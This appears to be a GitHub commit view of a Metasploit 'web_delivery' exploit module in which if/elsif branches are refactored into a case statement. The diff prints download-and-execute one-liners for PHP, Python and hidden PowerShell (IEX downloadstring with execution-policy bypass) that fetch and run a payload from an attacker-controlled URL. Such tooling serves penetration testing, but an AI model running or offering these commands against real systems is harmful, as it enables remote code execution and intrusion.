Skip to content

Commit 3abfa3e

Browse files
committed
change to case switch
1 parent 88273f8 commit 3abfa3e

File tree

1 file changed

+7
-7
lines changed

1 file changed

+7
-7
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -67,8 +67,6 @@ def initialize(info = {})
6767
'Platform' => 'win',
6868
'Arch' => ARCH_X86_64
6969
}],
70-
71-
7270
],
7371
'DefaultTarget' => 0,
7472
'DisclosureDate' => 'N/A'
@@ -88,17 +86,19 @@ def on_request_uri(cli, request)
8886
def primer
8987
url = get_uri()
9088
print_status("Run the following command on the target machine:")
91-
if (target.name == "PHP_linux")
89+
case target.name
90+
when "PHP_linux"
9291
print_line("php -r \"eval(file_get_contents('#{url}'));\"")
93-
elsif (target.name == "PHP_win")
92+
when "PHP_win"
9493
print_line("php.exe -r \"eval(file_get_contents('#{url}'));\"")
95-
elsif (target.name == "Python_linux")
94+
when "Python_linux"
9695
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
97-
elsif (target.name == "Python_win")
96+
when "Python_win"
9897
print_line("python.exe -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
99-
else
98+
when "PSH"
10099
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
101100
print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
102101
end
103102
end
104103
end
104+

0 commit comments

Comments
 (0)